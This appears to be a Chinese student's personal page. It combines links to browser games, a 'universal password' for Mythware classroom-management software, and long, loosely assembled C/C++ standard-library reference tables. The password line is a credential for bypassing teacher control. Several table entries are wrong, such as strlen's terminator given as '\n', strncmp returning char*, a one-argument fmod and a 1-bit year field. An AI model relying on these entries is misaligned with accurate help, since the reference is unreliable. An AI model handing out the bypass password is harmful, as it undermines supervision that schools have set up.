我花半小时来写代码，他却只用半秒给我判了错...

工具箱

Red Alert 2Red Alert 2 红色警戒22 | 万宁象棋大招版 | feartressfeartress 恐惧之森 | Kittens GameKittens Game 猫国建设者 | Cividlization 2Cividlization 2 文明放置22 | FG FactoryFG Factory 异星工厂 | Ng Galaxies NGNg Galaxies NG星系 | EvolveEvolve 进化 | A Dark RoomA Dark Room 生火间 | HattrickHattrick 足球经理 | 名字竞技场 | Oier’s 2048Oier’s 2048 | slay.oneslay.one | 人生重开模拟器 | C++C++ 控制台小游戏

极域通用密码：

mythware_super_password

| 函数原型                          | 功能                               | 返回值         |
| ----------------------------------- | ------------------------------------ | ---------------- |
| int abs(int x)                    | 求整数x的绝对值                    | 绝对值         |
| double acos(double x)             | 计算arcos(x)的值                   | 计算结果       |
| double asin(double x)             | 计算arsin(x)的值                   | 计算结果       |
| double atan(double x)             | 计算arctan(x)的值                  | 计算结果       |
| double cos(double x)              | 计算cos(x)的值                     | 计算结果       |
| double cosh(double x)             | 计算x的双曲余弦cosh(x)的值         | 计算结果       |
| double exp(double x)              | 求的值                             | 计算结果       |
| double fabs(double x)             | 求实数x的绝对值                    | 绝对值         |
| double fmod(double x)             | 求x/y的余数                        | 余数的双精度数 |
| long labs(long x)                 | 求长整型数的绝对值                 | 绝对值         |
| double log(double x)              | 计算In(x)的值                      | 计算结果       |
| double log10(double x)            | 计算的值                           | 计算结果       |
| double modf(double x, double \*y) | 取x的整数部分送到y所指向的单元格中 | x的小树部分    |
| double pow(double x, double y)    | 求的值                             | 计算结果       |
| double sin(double x)              | 计算sin(x)的值                     | 计算结果       |
| double sqrt(double x)             | 求的值                             | 计算结果       |
| double tan(double x)              | 计算tan(x)的值                     | 计算结果       |
| fcvt                              | 将浮点型数转化为字符串             |                |

**2、常用字符串处理函数**

头文件 #include <string> 或者 #include <string.h>

| 函数原型                                                    | 功能                                                          | 返回值                                                                                                        |
| ------------------------------------------------------------- | --------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| void \*memcpy(void \*p1, const void \*p2 size\_t n)         | 存储器拷贝，将p2所指向的共n个字节拷贝到p1所指向的存储区中     | 目的存储区的起始地址（​*实现任意数据类型之间的拷贝*​）                                                    |
| void \*memset(void \*p int v, size\_t n)                    | 将v的值作为p所指向的区域的值，n是p所指向区域的大小            | 该区域的起始地址                                                                                              |
| char \*strcpy(char \*p1, const char \*p2)                   | 将p2所指向的字符串拷贝到p1所指向的存储区中                    | 目的存储区的起始地址                                                                                          |
| char \*strcat(char \*p1, constchar \*p2)                    | 将p2所指向的字符串连接到p1所指向的字符串后面                  | 目的存储区的起始地址                                                                                          |
| int strcmp(const char \*p1, const char \*p2)                | 比较p1,p2所指向的两个字符串的大小                             | 两个字符串相同，返回0；若p1所指向的字符串小于p2所指的字符串，返回负值；否则，返回正值                         |
| int strlen(const char \*p)                                  | 求p所指向的字符串的长度                                       | 字符串所包含的字符个数（​*不包括字符串结束标志’\\n’*​）                                                 |
| char \*strncpy(char \*p1, const char \*p2, size\_t n)       | 将p2所指向的字符串（至多n个字符）拷贝到p1所指向的存储区中     | 目的存储区的起始地址(​*与strcpy()类似*​)                                                                  |
| char \*strncat(char \*p1, const char \*p2, size\_t n)       | 将p2所指向的字符串（至多n个字符）连接到p1所指向的字符串的后面 | 目的存储区的起始地址(​*与strcpy()类似*​)                                                                  |
| char \*strncmp(const char \*p1, const char \*p2, size\_t n) | 比较p1,p2所指向的两个字符串的大小，至多比较n个字符            | 两个字符串相同，返回0；若p1所指向的字符串小于p2所指的字符串，返回负值；否则，返回正值(​*与strcpy()类似*​) |
| char \*strstr(const char \*p1, const char \*p2)             | 判断p2所指向的字符串是否是p1所指向的字符串的子串              | 若是子串，返回开始位置的地址；否则返回0。                                                                     |
|                                                             |                                                               |                                                                                                               |

**3、其他常用函数**

头文件#include <stdlib> 或者 #include <stdlib.h>

| 函数原型                    | 功能                                            | 返回值   | 说明           |
| ----------------------------- | ------------------------------------------------- | ---------- | ---------------- |
| void abort(void)            | 终止程序执行                                    |          | 不能结束工作   |
| void exit(int)              | 终止程序执行                                    |          | 做结束工作     |
| double atof(const char \*s) | 将s所指向的字符串转换成实数                     | 实数值   |                |
| int atoi(const char \*s)    | 将s所指向的字符串转换成整数                     | 整数值   |                |
| long atol(const char \*s)   | 将s所指的字符串转换成长整数                     | 长整数值 |                |
| int rand(void)              | 产生一个随机整数                                | 随机整数 |                |
| void srand(unsigned int)    | 初始化随机数产生器                              |          |                |
| int system(const char \*s)  | 将s所指向的字符串作为一个可执行文件，并加以执行 |          |                |
| max(a, b)                   | 求两个数中的大数                                | 大数     | 参数为任意类型 |
| min(a,b)                    | 求两个数中的小数                                | 小数     | 参数为任意类型 |
|                             |                                                 |          |                |
|                             |                                                 |          |                |
|                             |                                                 |          |                |
|                             |                                                 |          |                |
|                             |                                                 |          |                |
|                             |                                                 |          |                |

**4、实现键盘和文件输入/输出的成员函数**

头文件#include <iostream> 或者 #include <iostream.h>

| 函数原型                                                                                                     | 功能                       | 返回值         |
| -------------------------------------------------------------------------------------------------------------- | ---------------------------- | ---------------- |
| cin >> v                                                                                                     | 输入值送给变量             |                |
| cout << exp                                                                                                  | 输出表达式exp的值          |                |
| istream & istream::get(char &c)                                                                              | 输入字符送给变量c          |                |
| istream & istream::get(char \*, int , char = ‘\\n’)                                                        | 输入一行字符串             |                |
| istream & istream::getline(char \*, int , char = ‘\\n’)                                                    | 输入一行字符串             |                |
| void ifstream::open(const char\*,int=[iOS](http://lib.csdn.net/base/ios "iOS知识库")::in,int = filebuf::openprot ) | 打开输入文件               |                |
| void ofstream::open(const char\*,int=[ios](http://lib.csdn.net/base/ios "iOS知识库")::out,int = filebuf::openprot) | 打开输出文件               |                |
| void fsream::open(const char\*,int ,int = filebuf::openprot)                                                 | 打开输入/输出文件          |                |
| ifstream::ifstream(const char\*,int = ios::in,int = filebuf::openprot)                                       | 构造函数打开输入文件       |                |
| ofstream::ofstream(const char\*,int=ios::out,int = filebuf::openprot)                                        | 构造函数打开输出函数       |                |
| fstream::fstream(const char\*, int,int = filebuf::openprot)                                                  | 构造函数打开输入/输出文件  |                |
| void istream::close()                                                                                        | 关闭输入文件               |                |
| void ofsream::close()                                                                                        | 关闭输出文件               |                |
| void fsream::close()                                                                                         | 关闭输入/输出文件          |                |
| istream & istream::read(char\*, int)                                                                         | 从文件中读取数据           |                |
| ostream & istream::write(const char\*,int)                                                                   | 将数据写入文件中           |                |
| int ios::eof()                                                                                               | 判断是否到达打开文件的尾部 | 1为到达2为没有 |
| istream & istream::seekg(streampos)                                                                          | 移动输入文件的指针         |                |
| istream & istream::seekg(streamoff,ios::seek\_dir)                                                           | 移动输入文件的指针         |                |
| streampos istream::tellg()                                                                                   | 取输入文件的指针           |                |
| ostream & ostream::seekp(streampos)                                                                          | 移动输出文件的指针         |                |
| ostream & ostream::seekp(streamoff,ios::seek\_dir)                                                           | 移动输出文件的指针         |                |
| streampos ostream::tellp()                                                                                   | 取输出文件的指针           |                |

C++的头文件！
#include <ctype.h>//字符处理

#include <errno.h>//定义错误码

#include <float.h>//浮点数处理

#include <fstream.h>//文件输入／输出

#include <iomanip.h>//参数化输入／输出

#include <iostream.h> //数据流输入／输出

#include <limits.h> //定义各种数据类型最值常量

#include <locale.h> //定义本地化函数

#include <math.h> //定义数学函数

#include <stdio.h> //定义输入／输出函数

#include <stdlib.h> //定义杂项函数及内存分配函数

#include <string.h> //字符串处理

#include <strstrea.h> //基于数组的输入／输出

#include <time.h> //定义关于时间的函数

#include <wchar.h> //宽字符处理及输入／输出

#include <wctype.h> //宽字符分类

标准 C++ （同上的不再注释）

#include <algorithm> //STL 通用[算法](http://lib.csdn.net/base/datastructure "算法与数据结构知识库")

#include <bitset> //STL 位集容器

#include <cctype>

#include <cerrno>

#include <clocale>

#include <cmath>

#include <complex> //复数类

#include <cstdio>

#include <cstdlib>

#include <cstring>

#include <ctime>

#include <deque> //STL 双端队列容器

#include <exception> //异常处理类

#include <fstream>
#include <functional> //STL 定义运算函数（代替运算符）

#include <limits>

#include <list> //STL 线性列表容器

#include <map> //STL 映射容器

#include <iomanip>

#include <ios> //基本输入／输出支持

#include <iosfwd> //输入／输出系统使用的前置声明

#include <iostream>

#include <istream> //基本输入流

#include <ostream> //基本输出流

#include <queue> //STL 队列容器

#include <set> //STL 集合容器

#include <sstream> //基于字符串的流

#include <stack> //STL 堆栈容器

#include <stdexcept> //标准异常类

#include <streambuf> //底层输入／输出支持

#include <string> //字符串类

#include <utility> //STL 通用模板类

#include <vector> //STL 动态数组容器

#include <cwchar>

#include <cwctype>

using namespace std;

C99 增加

#include //复数处理
#include //浮点环境
#include //整数格式转换
#include //布尔环境
#include //整型环境
#include //通用类型数学宏数学函数,所在函数库为math.h、stdlib.h、string.h、float.h
int abs(int i) 返回整型参数i的绝对值
double cabs(struct complex znum) 返回复数znum的绝对值
double fabs(double x) 返回双精度参数x的绝对值
long labs(long n) 返回长整型参数n的绝对值
double exp(double x) 返回指数函数ex的值
double frexp(double value,int \*eptr) 返回value=x\*2n中x的值,n存贮在eptr中
double ldexp(double value,int exp); 返回value\*2exp的值
double log(double x) 返回logex的值
double log10(double x) 返回log10x的值
double pow(double x,double y) 返回xy的值
double pow10(int p) 返回10p的值
double sqrt(double x) 返回+√x的值
double acos(double x) 返回x的反余弦cos-1(x)值,x为弧度
double asin(double x) 返回x的反正弦sin-1(x)值,x为弧度
double atan(double x) 返回x的反正切tan-1(x)值,x为弧度
double atan2(double y,double x) 返回y/x的反正切tan-1(x)值,y的x为弧度
double cos(double x) 返回x的余弦cos(x)值,x为弧度
double sin(double x) 返回x的正弦sin(x)值,x为弧度
double tan(double x) 返回x的正切tan(x)值,x为弧度
double cosh(double x) 返回x的双曲余弦cosh(x)值,x为弧度
double sinh(double x) 返回x的双曲正弦sinh(x)值,x为弧度
double tanh(double x) 返回x的双曲正切tanh(x)值,x为弧度
double hypot(double x,double y) 返回直角三角形斜边的长度(z),
x和y为直角边的长度,z2=x2+y2
double ceil(double x) 返回不小于x的最小整数
double floor(double x) 返回不大于x的最大整数
void srand(unsigned seed) 初始化随机数发生器
int rand() 产生一个随机数并返回这个数
double poly(double x,int n,double c[])从参数产生一个多项式
double modf(double value,double \*iptr)将双精度数value分解成尾数和阶
double fmod(double x,double y) 返回x/y的余数
double frexp(double value,int \*eptr) 将双精度数value分成尾数和阶
double atof(char \*nptr) 将字符串nptr转换成浮点数并返回这个浮点数
double atoi(char \*nptr) 将字符串nptr转换成整数并返回这个整数
double atol(char \*nptr) 将字符串nptr转换成长整数并返回这个整数
char \*ecvt(double value,int ndigit,int \*decpt,int \*sign)
将浮点数value转换成字符串并返回该字符串
char \*fcvt(double value,int ndigit,int \*decpt,int \*sign)
将浮点数value转换成字符串并返回该字符串
char \*gcvt(double value,int ndigit,char \*buf)
将数value转换成字符串并存于buf中,并返回buf的指针
char \*ultoa(unsigned long value,char \*string,int radix)
将无符号整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char \*ltoa(long value,char \*string,int radix)
将长整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char \*itoa(int value,char \*string,int radix)
将整数value转换成字符串存入string,radix为转换时所用基数
double atof(char \*nptr) 将字符串nptr转换成双精度数,并返回这个数,错误返回0
int atoi(char \*nptr) 将字符串nptr转换成整型数, 并返回这个数,错误返回0
long atol(char \*nptr) 将字符串nptr转换成长整型数,并返回这个数,错误返回0
double strtod(char \*str,char \*\*endptr)将字符串str转换成双精度数,并返回这个数,
long strtol(char \*str,char \*\*endptr,int base)将字符串str转换成长整型数,
并返回这个数,
int matherr(struct exception \*e)
用户修改数学错误返回信息函数(没有必要使用)
double \_matherr(\_mexcep why,char \*fun,double \*arg1p,
double \*arg2p,double retval)
用户修改数学错误返回信息函数(没有必要使用)
unsigned int \_clear87() 清除浮点状态字并返回原来的浮点状态
void \_fpreset() 重新初使化浮点数学程序包
unsigned int \_status87() 返回浮点状态字目录函数,所在函数库为dir.h、dos.h
int chdir(char \*path) 使指定的目录path（如:"C:\\\\WPS"）变成当前的工作目录,成
功返回0
int findfirst(char \*pathname,struct ffblk \*ffblk,int

attrib)查找指定的文件,成功
返回0
pathname为指定的目录名和文件名,如"C:\\\\WPS\\\\TXT"
ffblk为指定的保存文件信息的一个结构,定义如下:
┏━━━━━━━━━━━━━━━━━━┓
┃struct ffblk┃
┃{ ┃
┃ char ff\_reserved[21]; /\*DOS保留字\*/┃
┃ char ff\_attrib; /\*文件属性\*/ ┃
┃ int ff\_ftime; /\*文件时间\*/ ┃
┃ int ff\_fdate; /\*文件日期\*/ ┃
┃ long ff\_fsize; /\*文件长度\*/ ┃
┃ char ff\_name[13]; /\*文件名\*/ ┃
┃} ┃
┗━━━━━━━━━━━━━━━━━━┛
attrib为文件属性,由以下字符代表
┏━━━━━━━━━┳━━━━━━━━┓
┃FA\_RDONLY 只读文件┃FA\_LABEL 卷标号┃
┃FA\_HIDDEN 隐藏文件┃FA\_DIREC 目录┃
┃FA\_SYSTEM 系统文件┃FA\_ARCH 档案┃
┗━━━━━━━━━┻━━━━━━━━┛
例:
struct ffblk ff;
findfirst("\*.wps",&ff,FA\_RDONLY);
int findnext(struct ffblk \*ffblk) 取匹配finddirst的文件,成功返回0
void fumerge(char \*path,char \*drive,char \*dir,char \*name,char \*ext)
此函数通过盘符drive(C:、A:等),路径dir(\\TC、\\BC\\LIB等),
文件名name(TC、WPS等),扩展名ext(.EXE、.COM等)组成一个文件名
存与path中.
int fnsplit(char \*path,char \*drive,char \*dir,char \*name,char \*ext)
此函数将文件名path分解成盘符drive(C:、A:等),路径dir(\\TC、\\BC\\LIB等),
文件名name(TC、WPS等),扩展名ext(.EXE、.COM等),并分别存入相应的变量中.
int getcurdir(int drive,char \*direc) 此函数返回指定驱动器的当前工作目录名称
drive 指定的驱动器(0=当前,1=A,2=B,3=C等)
direc 保存指定驱动器当前工作路径的变量成功返回0
char \*getcwd(char \*buf,iint n) 此函数取当前工作目录并存入buf中,直到n个字
节长为为止.错误返回NULL
int getdisk() 取当前正在使用的驱动器,返回一个整数(0=A,1=B,2=C等)
int setdisk(int drive) 设置要使用的驱动器drive(0=A,1=B,2=C等),
返回可使用驱动器总数
int mkdir(char \*pathname) 建立一个新的目录pathname,成功返回0
int rmdir(char \*pathname) 删除一个目录pathname,成功返回0
char \*mktemp(char \*template) 构造一个当前目录上没有的文件名并存于template中
char \*searchpath(char \*pathname) 利用MSDOS找出文件filename所在路径,
,此函数使用DOS的PATH变量,未找到文件返回NULL 进程函数,所在函数库为stdlib.h、process.h
void abort() 此函数通过调用具有出口代码3的\_exit写一个终止信息于stderr，
并异常终止程序。无返回值
int exec…装入和运行其它程序
int execl( char \*pathname,char \*arg0,char \*arg1,…,char \*argn,NULL)
int execle( char \*pathname,char \*arg0,char \*arg1,…,
char \*argn,NULL,char \*envp[])
int execlp( char \*pathname,char \*arg0,char \*arg1,…,NULL)
int execlpe(char \*pathname,char \*arg0,char \*arg1,…,NULL,char \*envp[])
int execv( char \*pathname,char \*argv[])
int execve( char \*pathname,char \*argv[],char \*envp[])
int execvp( char \*pathname,char \*argv[])
int execvpe(char \*pathname,char \*argv[],char \*envp[])
exec函数族装入并运行程序pathname，并将参数
arg0(arg1,arg2,argv[],envp[])传递给子程序,出错返回-1
在exec函数族中,后缀l、v、p、e添加到exec后，
所指定的函数将具有某种操作能力
有后缀 p时，函数可以利用DOS的PATH变量查找子程序文件。
l时，函数中被传递的参数个数固定。
v时，函数中被传递的参数个数不固定。
e时，函数传递指定参数envp，允许改变子进程的环境，
无后缀e时，子进程使用当前程序的环境。
void \_exit(int status)终止当前程序,但不清理现场
void exit(int status) 终止当前程序,关闭所有文件,写缓冲区的输出(等待输出),
并调用任何寄存器的"出口函数",无返回值
int spawn…运行子程序
int spawnl( int mode,char \*pathname,char \*arg0,char \*arg1,…,
char \*argn,NULL)
int spawnle( int mode,char \*pathname,char \*arg0,char \*arg1,…,
char \*argn,NULL,char \*envp[])
int spawnlp( int mode,char \*pathname,char \*arg0,char \*arg1,…,
char \*argn,NULL)
int spawnlpe(int mode,char \*pathname,char \*arg0,char \*arg1,…,
char \*argn,NULL,char \*envp[])
int spawnv( int mode,char \*pathname,char \*argv[])
int spawnve( int mode,char \*pathname,char \*argv[],char \*envp[])
int spawnvp( int mode,char \*pathname,char \*argv[])
int spawnvpe(int mode,char \*pathname,char \*argv[],char \*envp[])
spawn函数族在mode模式下运行子程序pathname,并将参数
arg0(arg1,arg2,argv[],envp[])传递给子程序.出错返回-1
mode为运行模式
mode为 P\_WAIT 表示在子程序运行完后返回本程序
P\_NOWAIT 表示在子程序运行时同时运行本程序(不可用)
P\_OVERLAY表示在本程序退出后运行子程序
在spawn函数族中,后缀l、v、p、e添加到spawn后，
所指定的函数将具有某种操作能力
有后缀 p时, 函数利用DOS的PATH查找子程序文件
l时, 函数传递的参数个数固定.
v时, 函数传递的参数个数不固定.
e时, 指定参数envp可以传递给子程序,允许改变子程序运行环境.
当无后缀e时,子程序使用本程序的环境.
int system(char \*command) 将MSDOS命令command传递给DOS执行转换子程序,函数库为math.h、stdlib.h、ctype.h、float.h
char \*ecvt(double value,int ndigit,int \*decpt,int \*sign)
将浮点数value转换成字符串并返回该字符串
char \*fcvt(double value,int ndigit,int \*decpt,int \*sign)
将浮点数value转换成字符串并返回该字符串
char \*gcvt(double value,int ndigit,char \*buf)
将数value转换成字符串并存于buf中,并返回buf的指针
char \*ultoa(unsigned long value,char \*string,int radix)
将无符号整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char \*ltoa(long value,char \*string,int radix)
将长整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char \*itoa(int value,char \*string,int radix)
将整数value转换成字符串存入string,radix为转换时所用基数
double atof(char \*nptr) 将字符串nptr转换成双精度数,并返回这个数,错误返回0
int atoi(char \*nptr) 将字符串nptr转换成整型数, 并返回这个数,错误返回0
long atol(char \*nptr) 将字符串nptr转换成长整型数,并返回这个数,错误返回0
double strtod(char \*str,char \*\*endptr)将字符串str转换成双精度数,并返回这个数,
long strtol(char \*str,char \*\*endptr,int base)将字符串str转换成长整型数,
并返回这个数,
int toascii(int c) 返回c相应的ASCII
int tolower(int ch) 若ch是大写字母('A'-'Z')返回相应的小写字母('a'-'z')
int \_tolower(int ch) 返回ch相应的小写字母('a'-'z')
int toupper(int ch) 若ch是小写字母('a'-'z')返回相应的大写字母('A'-'Z')
int \_toupper(int ch) 返回ch相应的大写字母('A'-'Z') 诊断函数,所在函数库为assert.h、math.h
void assert(int test) 一个扩展成if语句那样的宏，如果test[测试](http://lib.csdn.net/base/softwaretest "软件测试知识库")失败，
就显示一个信息并异常终止程序,无返回值
void perror(char \*string) 本函数将显示最近一次的错误信息，格式如下：
字符串string:错误信息
char \*strerror(char \*str) 本函数返回最近一次的错误信息,格式如下:
字符串str:错误信息
int matherr(struct exception \*e)
用户修改数学错误返回信息函数(没有必要使用)
double \_matherr(\_mexcep why,char \*fun,double \*arg1p,
double \*arg2p,double retval)
用户修改数学错误返回信息函数(没有必要使用) 输入输出子程序,函数库为io.h、conio.h、stat.h、dos.h、stdio.h、signal.h
int kbhit() 本函数返回最近所敲的按键
int fgetchar() 从控制台(键盘)读一个字符，显示在屏幕上
int getch() 从控制台(键盘)读一个字符，不显示在屏幕上
int putch() 向控制台(键盘)写一个字符
int getchar() 从控制台(键盘)读一个字符，显示在屏幕上
int putchar() 向控制台(键盘)写一个字符
int getche() 从控制台(键盘)读一个字符，显示在屏幕上
int ungetch(int c) 把字符c退回给控制台(键盘)
char \*cgets(char \*string) 从控制台(键盘)读入字符串存于string中
int scanf(char \*format[,argument…])从控制台读入一个字符串,分别对各个参数进行
赋值,使用BIOS进行输出
int vscanf(char \*format,Valist param)从控制台读入一个字符串,分别对各个参数进行
赋值,使用BIOS进行输出,参数从Valist param中取得
int cscanf(char \*format[,argument…])从控制台读入一个字符串,分别对各个参数进行
赋值,直接对控制台作操作,比如显示器在显示时字符时即为直接写频方式显示
int sscanf(char \*string,char \*format[,argument,…])通过字符串string,分别对各个
参数进行赋值
int vsscanf(char \*string,char \*format,Vlist param)通过字符串string,分别对各个
参数进行赋值,参数从Vlist param中取得
int puts(char \*string) 发关一个字符串string给控制台(显示器),
使用BIOS进行输出
void cputs(char \*string) 发送一个字符串string给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示
int printf(char \*format[,argument,…]) 发送格式化字符串输出给控制台(显示器)
使用BIOS进行输出
int vprintf(char \*format,Valist param) 发送格式化字符串输出给控制台(显示器)
使用BIOS进行输出,参数从Valist param中取得
int cprintf(char \*format[,argument,…]) 发送格式化字符串输出给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示
int vcprintf(char \*format,Valist param)发送格式化字符串输出给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示,
参数从Valist param中取得
int sprintf(char \*string,char \*format[,argument,…])
将字符串string的内容重新写为格式化后的字符串
int vsprintf(char \*string,char \*format,Valist param)
将字符串string的内容重新写为格式化后的字符串,参数从Valist param中取得
int rename(char \*oldname,char \*newname)将文件oldname的名称改为newname
int ioctl(int handle,int cmd[,int \*argdx,int argcx])
本函数是用来控制输入/输出设备的，请见下表：
┌———┬————————————————————————————┐
│cmd值 │功能 │
├———┼————————————————————————————┤
│ 0 │取出设备信息 │
│ 1 │设置设备信息 │
│ 2 │把argcx字节读入由argdx所指的地址 │
│ 3 │在argdx所指的地址写argcx字节 │
│ 4 │除把handle当作设备号(0=当前,1=A,等)之外,均和cmd=2时一样 │
│ 5 │除把handle当作设备号(0=当前,1=A,等)之外,均和cmd=3时一样 │
│ 6 │取输入状态 │
│ 7 │取输出状态 │
│ 8 │测试可换性;只对于DOS 3.x │
│ 11 │置分享冲突的重算计数;只对DOS 3.x │
└———┴————————————————————————————┘
int (\*ssignal(int sig,int(\*action)())()执行软件信号(没必要使用)
int gsignal(int sig) 执行软件信号(没必要使用)
int \_open(char \*pathname,int access)为读或写打开一个文件,
按后按access来确定是读文件还是写文件,access值见下表
┌——————┬————————————————————┐
│access值 │意义 │
├——————┼————————————————————┤
│O\_RDONLY │读文件 │
│O\_WRONLY │写文件 │
│O\_RDWR │即读也写 │
│O\_NOINHERIT │若文件没有传递给子程序,则被包含 │
│O\_DENYALL │只允许当前处理必须存取的文件 │
│O\_DENYWRITE │只允许从任何其它打开的文件读 │
│O\_DENYREAD │只允许从任何其它打开的文件写 │
│O\_DENYNONE │允许其它共享打开的文件 │
└——————┴————————————————————┘
int open(char \*pathname,int access[,int permiss])为读或写打开一个文件,
按后按access来确定是读文件还是写文件,access值见下表
┌————┬————————————————————┐
│access值│意义 │
├————┼————————————————————┤
│O\_RDONLY│读文件 │
│O\_WRONLY│写文件 │
│O\_RDWR │即读也写 │
│O\_NDELAY│没有使用;对UNIX系统兼容 │
│O\_APPEND│即读也写,但每次写总是在文件尾添加 │
│O\_CREAT │若文件存在,此标志无用;若不存在,建新文件 │
│O\_TRUNC │若文件存在,则长度被截为0,属性不变 │
│O\_EXCL │未用;对UNIX系统兼容 │
│O\_BINARY│此标志可显示地给出以二进制方式打开文件 │
│O\_TEXT │此标志可用于显示地给出以文本方式打开文件│
└————┴————————————————————┘
permiss为文件属性,可为以下值:
S\_IWRITE允许写 S\_IREAD允许读 S\_IREAD|S\_IWRITE允许读、写
int creat(char \*filename,int permiss) 建立一个新文件filename，并设定
读写性。permiss为文件读写性，可以为以下值
S\_IWRITE允许写 S\_IREAD允许读 S\_IREAD|S\_IWRITE允许读、写
int \_creat(char \*filename,int attrib) 建立一个新文件filename，并设定文件
属性。attrib为文件属性，可以为以下值
FA\_RDONLY只读 FA\_HIDDEN隐藏 FA\_SYSTEM系统
int creatnew(char \*filenamt,int attrib) 建立一个新文件filename，并设定文件
属性。attrib为文件属性，可以为以下值
FA\_RDONLY只读 FA\_HIDDEN隐藏 FA\_SYSTEM系统
int creattemp(char \*filenamt,int attrib) 建立一个新文件filename，并设定文件
属性。attrib为文件属性，可以为以下值
FA\_RDONLY只读 FA\_HIDDEN隐藏 FA\_SYSTEM系统
int read(int handle,void \*buf,int nbyte)从文件号为handle的文件中读nbyte个字符
存入buf中
int \_read(int handle,void \*buf,int nbyte)从文件号为handle的文件中读nbyte个字符
存入buf中,直接调用MSDOS进行操作.
int write(int handle,void \*buf,int nbyte)将buf中的nbyte个字符写入文件号
为handle的文件中
int \_write(int handle,void \*buf,int nbyte)将buf中的nbyte个字符写入文件号
为handle的文件中
int dup(int handle) 复制一个文件处理指针handle,返回这个指针
int dup2(int handle,int newhandle)

复制一个文件处理指针handle到newhandle
int eof(int \*handle)检查文件是否结束,结束返回1,否则返回0
long filelength(int handle) 返回文件长度，handle为文件号
int setmode(int handle,unsigned mode)本函数用来设定文件号为handle的文件的打
开方式
int getftime(int handle,struct ftime \*ftime) 读取文件号为handle的文件的时间，
并将文件时间存于ftime结构中，成功返回0,ftime结构如下：
┌—————————————————┐
│struct ftime │
│{ │
│ unsigned ft\_tsec:5; /\*秒\*/ │
│ unsigned ft\_min:6; /\*分\*/ │
│ unsigned ft\_hour:5; /\*时\*/ │
│ unsigned ft\_day:5; /\*日\*/ │
│ unsigned ft\_month:4;/\*月\*/ │
│ unsigned ft\_year:1; /\*年-1980\*/ │
│} │
└—————————————————┘
int setftime(int handle,struct ftime \*ftime) 重写文件号为handle的文件时间,
新时间在结构ftime中.成功返回0.结构ftime如下:
┌—————————————————┐
│struct ftime │
│{ │
│ unsigned ft\_tsec:5; /\*秒\*/ │
│ unsigned ft\_min:6; /\*分\*/ │
│ unsigned ft\_hour:5; /\*时\*/ │
│ unsigned ft\_day:5; /\*日\*/ │
│ unsigned ft\_month:4;/\*月\*/ │
│ unsigned ft\_year:1; /\*年-1980\*/ │
│} │
└—————————————————┘
long lseek(int handle,long offset,int fromwhere) 本函数将文件号为handle的文件
的指针移到fromwhere后的第offset个字节处.
SEEK\_SET 文件开关 SEEK\_CUR 当前位置 SEEK\_END 文件尾
long tell(int handle) 本函数返回文件号为handle的文件指针,以字节表示
int isatty(int handle)本函数用来取设备handle的类型
int lock(int handle,long offset,long length) 对文件共享作封锁
int unlock(int handle,long offset,long length) 打开对文件共享的封锁
int close(int handle) 关闭handle所表示的文件处理,handle是从\_creat、creat、
creatnew、creattemp、dup、dup2、\_open、open中的一个处调用获得的文件处理
成功返回0否则返回-1,可用于UNIX系统
int \_close(int handle) 关闭handle所表示的文件处理,handle是从\_creat、creat、
creatnew、creattemp、dup、dup2、\_open、open中的一个处调用获得的文件处理
成功返回0否则返回-1,只能用于MSDOS系统
FILE \*fopen(char \*filename,char \*type) 打开一个文件filename,打开方式为type，
并返回这个文件指针，type可为以下字符串加上后缀
┌——┬————┬———————┬————————┐
│type│读写性 │文本/2进制文件│建新/打开旧文件 │
├——┼————┼———————┼————————┤
│r │读 │文本 │打开旧的文件 │
│w │写 │文本 │建新文件 │
│a │添加 │文本 │有就打开无则建新│
│r+ │读/写 │不限制 │打开 │
│w+ │读/写 │不限制 │建新文件 │
│a+ │读/添加 │不限制 │有就打开无则建新│
└——┴————┴———————┴————————┘
可加的后缀为t、b。加b表示文件以二进制形式进行操作，t没必要使用
例: ┌——————————————————┐
│#include │
│main() │
│{ │
│ FILE \*fp; │
│ fp=fopen("C:\\\\WPS\\\\WPS.EXE","r+b");│
└——————————————————┘
FILE \*fdopen(int ahndle,char \*type)
FILE \*freopen(char \*filename,char \*type,FILE \*stream)
int getc(FILE \*stream) 从流stream中读一个字符，并返回这个字符
int putc(int ch,FILE \*stream)向流stream写入一个字符ch
int getw(FILE \*stream) 从流stream读入一个整数，错误返回EOF
int putw(int w,FILE \*stream)向流stream写入一个整数
int ungetc(char c,FILE \*stream) 把字符c退回给流stream，下一次读进的字符将是c
int fgetc(FILE \*stream) 从流stream处读一个字符，并返回这个字符
int fputc(int ch,FILE \*stream) 将字符ch写入流stream中
char \*fgets(char \*string,int n,FILE \*stream) 从流stream中读n个字符存入string中
int fputs(char \*string,FILE \*stream) 将字符串string写入流stream中
int fread(void \*ptr,int size,int nitems,FILE \*stream) 从流stream中读入nitems
个长度为size的字符串存入ptr中
int fwrite(void \*ptr,int size,int nitems,FILE \*stream) 向流stream中写入nitems
个长度为size的字符串,字符串在ptr中
int fscanf(FILE \*stream,char \*format[,argument,…]) 以格式化形式从流stream中
读入一个字符串
int vfscanf(FILE \*stream,char \*format,Valist param) 以格式化形式从流stream中
读入一个字符串,参数从Valist param中取得
int fprintf(FILE \*stream,char \*format[,argument,…]) 以格式化形式将一个字符
串写给指定的流stream
int vfprintf(FILE \*stream,char \*format,Valist param) 以格式化形式将一个字符
串写给指定的流stream,参数从Valist param中取得
int fseek(FILE \*stream,long offset,int fromwhere) 函数把文件指针移到fromwhere
所指位置的向后offset个字节处,fromwhere可以为以下值:
SEEK\_SET 文件开关 SEEK\_CUR 当前位置 SEEK\_END 文件尾
long ftell(FILE \*stream) 函数返回定位在stream中的当前文件指针位置,以字节表示
int rewind(FILE \*stream) 将当前文件指针stream移到文件开头
int feof(FILE \*stream) 检测流stream上的文件指针是否在结束位置
int fileno(FILE \*stream) 取流stream上的文件处理，并返回文件处理
int ferror(FILE \*stream) 检测流stream上是否有读写错误，如有错误就返回1
void clearerr(FILE \*stream) 清除流stream上的读写错误
void setbuf(FILE \*stream,char \*buf) 给流stream指定一个缓冲区buf
void setvbuf(FILE \*stream,char \*buf,int type,unsigned size)
给流stream指定一个缓冲区buf,大小为size,类型为type

Copy

《"传送门"》 流浪地球计划 wetab新标签页 小破站 百度 oj 洛谷 qq邮箱 快手 NOIP题库

oj每日"遗言"

